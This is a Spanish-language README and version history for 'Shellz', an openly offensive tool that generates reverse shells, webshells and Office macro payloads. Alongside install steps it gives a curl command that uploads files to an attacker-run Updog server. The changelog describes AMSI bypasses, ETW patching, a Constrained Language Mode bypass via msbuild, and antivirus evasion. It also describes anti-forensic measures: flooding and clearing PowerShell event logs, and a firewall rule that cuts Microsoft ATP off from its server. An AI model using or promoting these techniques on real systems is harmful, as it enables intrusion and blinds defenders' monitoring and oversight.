Shellz
Un script para generar revshells comunes rápida y fácilmente.
Especialmente útil cuando se necesitan revshells de PowerShell y Python, que pueden ser un dolor de cabeza para formatear correctamente.
Revshells de PowerShell
- Muestra usuario@equipo.(dominio), sobre el prompt y el directorio de trabajo
- Tiene un bypass de AMSI parcial y completo.
- Shells TCP, UDP y SSL
- ¡Nuevo revshell TCP personalizado!
- ¡Nuevo revshell SSL personalizado!
- Carga reflectante del theart42's increíble Sharpcat!
- Windows PowerShell y PowerShell Core
- Funciones para subir y descargar archivos. (Usando Updog de sc0tfree)
Python
- ¿No tienes PowerShell? ¡No hay problema!
Carga Python embebido. Archivos firmados y confiables según Microsoft Intelligent Security Graph.
Soporte de ngrok
- ngrok se puede iniciar/detener desde dentro del script
- Los payloads se generarán con las direcciones de ngrok
Soporte de Updog
- Puedes iniciar/detener Updog desde dentro del script
- Los revshells de PowerShell tienen función de subida/descarga incorporada
- Para subir desde nix usando curl:
curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload
Para instalar Shells desde git
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
Para instalar shells en BlackArch:
Capturas de pantalla

Dependencias requeridas
netcat, rlwrap, jq, basenc (coreutils)
Dependencias opcionales
updog, ngrok, xclip
Video de Youtube
Shellz 1.7.5
Versión 1.7.7
- Se agregó la opción de inicialización de Windows Terminal en la sección de PowerShell
Versión 1.7.6
- Se agregó opción en Python para usar Python Embebido en una Macro de VBA
Versión 1.7.5
- Se agregó opción en PowerShell para carga por etapas de un bypass del Modo de Lenguaje Restringido usando msbuild.exe
Versión 1.7.4
- Se cambió el payload para Python Embebido. Ya no guarda el script en el disco
- Se ofuscó un poco el revshell de Python
Versión 1.7.3
- Se corrigió un error tipográfico en el payload de Python3 para Windows
- Se agregó opción para usar Python Embebido y obtener un revshell en una máquina Windows sin Python instalado y sin usar PowerShell.
Versión 1.7.1
- Se agregó PS al prompt en el shell SSL
- Se acortó el bypass completo de AMSI
Versión 1.7
- Se eliminó el mensaje "updog no está en ejecución" cuando no ha sido activado primero
- Se eliminaron algunas selecciones automáticas más en los menús
Versión 1.6.9
- Se corrigió un error en el comando block MDE
- Se agregaron opciones de comando init: cmd, conhost, powershell (Si el payload tiene más de 8191 caracteres, debe iniciarse desde powershell directamente)
Versión 1.6.8
- Llenando "Microsoft-Windows-PowerShell/Operational" con aún más entradas, para asegurarse de desplazar la ejecución inicial del script. (Solo funciona si el registro de scriptblock está habilitado en el objetivo)
Versión 1.6.7
- Solo tenía codificación Base64 segura para URLs. Se agregó codificación base64 normal de los payloads.
Versión 1.6.6
- Se agregó opción para llenar el registro de powershell. Iniciará un montón de sesiones de powershell, pasando una cadena larga y saldrá. Esto llenará el registro, cuando el registro de scriptblock esté habilitado, desplazando efectivamente las entradas de registro anteriores y eliminando así el evento de la generación del shell mismo. Podría prevenir la detección de EDR. Probado con éxito en SentinelOne.
- Se corrigieron selecciones de menú confusas. Se eliminó la entrada automática al seleccionar opciones en la mayoría de los menús.
- Se agregó el Listener Multi/handler de Metasploit
Versión 1.6.5
- Se agregó el parche ETW de Powershell
- Se agregó el bypass completo de AMSI embebido en Powershell.
- Se agregó verificación de longitud del payload. La longitud máxima de la cadena que se puede usar en el símbolo del sistema de Windows (cmd.exe) es de 8191 caracteres.
Versión 1.6.4
- Se corrigió el shell SSL de Powershell
Versión 1.6.3
- Se agregó expansión de variables en el payload de powershell, permitiendo que se ejecute desde archivos por lotes sin modificarlo
Versión 1.6.2
Versión 1.6.1
- Listener iniciado en nueva ventana. (Opcional en Linux)
Versión 1.6
- Powershell: Se agregó opción para carga reflectante de Sharpcat
Versión 1.5.9
- PowerShell: Nuevo shell SSL personalizado
- PowerShell: Se agregaron opciones para elegir TCP/UDP/SSL
- PowerShell/OpenSSL: Predeterminado al listener correcto al usar SSL
Versión 1.5.8
- Se actualizó el instalador para usar un script wrapper (recuerda eliminar /usr/local/bin/shells al actualizar desde < 1.5.8)
Versión 1.5.7
- PowerShell: Se construyó un revshell TCP único que no usa Net.Sockets.TCPClient
- PowerShell: Los mensajes de error remotos ahora se muestran correctamente
Versión 1.5.6
- PHP: se agregaron opciones y más payloads
Versión 1.5.5
- Se agregó opción en otros payloads para cambiar de shell
Versión 1.5.4
- Powershell: Se corrigió el payload NIX
- Powershell: Se actualizó el payload para carga reflectante de C#
Versión 1.5.3
- Powershell: Se agregaron opciones para payload en el menú.
Versión 1.5.2
- PowerShell: Se cambió el revshell para evadir más proveedores de AV
- Powershell: Se agregó regla de firewall, evitando que MS ATP se comunique con el servidor (si el usuario en ejecución tiene acceso)
- Powershell: Se actualizó VBA (Macros de MS Office)
Versión 1.5.1
- PowerShell: Deshabilitando el registro de scriptblock y CheckSuspiciousContent
- PowerShell: Limpia los registros de eventos de PowerShell (si el usuario en ejecución tiene acceso)
Versión 1.5.0
- PowerShell: Se agregaron payloads VBA para Macros de MS Office
- Se agregaron algunos payloads de node.js
Versión 1.4.9
- Se agregó un shell simple en C#.
- Se agregó payload para carga reflectante del shell C# en memoria. (Requiere bypass completo de AMSI)
- Cubriendo esto agregando el bypass completo de AMSI de Rastamouse
- PowerShell: Puedes subir y ejecutar automáticamente el bypass completo de AMSI. El bypass parcial de AMSI hace esto posible.
- Shell C#: Sube y ejecuta automáticamente el bypass completo de AMSI antes de cargarlo en memoria
- El estado de Updog y ngrok se muestra en cada menú
Versión 1.4.8
- A veces menos es más. Se eliminó la ofuscación en los revshells TCP/UDP de PowerShell, porque en realidad desencadena más el AV de lo que lo evita y el payload se volvió muy grande :-) Aún se usa aleatorización.
Versión 1.4.6
- Se agregaron webshells (ASPX, PHP, JSP)
Versión 1.4.5
- Se agregaron 2 binarios de revshell en c++ para Windows de 32 y 64 bits.
Versión 1.4.4
- Se corrigió el manejo de iniciar/detener Updog
Versión 1.4.3
- Se agregó soporte para Updog
- Se agregaron binarios de Netcat.
- Powershell: Se creó funcionalidad de subida/descarga (subir requiere Updog para recibir archivos)
- Se agregó más información sobre la ejecución de ngrok y Updog.
Versión 1.4.2
- PowerShell: Se agregó un nuevo "mini bypass de AMSI". (Es un bypass parcial) Basado en el método de Reflection de Matt Graebers
- PowerShell: Se agregó una función de "subida" en el reverseshell de Powershell
Versión 1.4.1
- Se eliminó AMSI. No probado lo suficiente :-)
Versión 1.4
- Se agregó bypass de AMSI para los payloads de powershell
Versión 1.3.9
- Se corrigió un error al establecer el puerto
- Se cambió el puerto predeterminado a 443
- PowerShell: se ofuscó un poco más
Versión 1.3.8
- PowerShell: Cambios menores al payload UDP
Versión 1.3.7
- Usando solo nc nativo en macOS, porque el de homebrew no funciona en UDP entrante
- PowerShell: Se agregaron payloads UDP
Versión 1.3.6
- PowerShell: Se agregaron más payloads
Versión 1.3.5
- PowerShell: Se agregó algo de aleatorización y ofuscación para el payload
Versión 1.3.4
- PowerShell: Usando codificación UTF8 en el payload
Versión 1.3.3
Versión 1.3.2
Versión 1.3.1
- Se corrigió un error en el revshell de Python
- Se agregó awk
- Se agregó Bash UDP
Versión 1.3
- Se agregaron revshells de Python para Windows
Versión 1.2.9
- Se agregó un estado de ejecución de ngrok
Versión 1.2.8
- Ocultando la opción de ngrok si no está instalado
Versión 1.2.7
- Se corrigieron las opciones de instalación: no ejecutar la opción predeterminada al presionar Enter sin hacer una elección
Versión 1.2.6
- Se agregó soporte para ngrok.
Versión 1.2.4
- Se agregó un script de instalación
- Se agregaron opciones de instalación para verificar e instalar dependencias faltantes
Versión 1.2.3
- Se agregaron un par de shells PHP
Versión 1.2.2
- Se agregaron shells para: Ruby, Perl, Telnet y zsh
Versión 1.2.1
- Se agregó copia al portapapeles usando pbcopy en macOS
- Se agregó información sobre netcat en modo escucha, ya que las versiones de macOS no lo muestran
Versión 1.2
- Se agregaron shells netcat en bucle. Llaman de vuelta cada 10 segundos. Genial en caso de que pierdas tu shell
- Se agregó verificación de netcat GNU netcat 0.7.0 Homebrew al ejecutar en macOS
Versión 1.1
- Se agregó soporte para macOS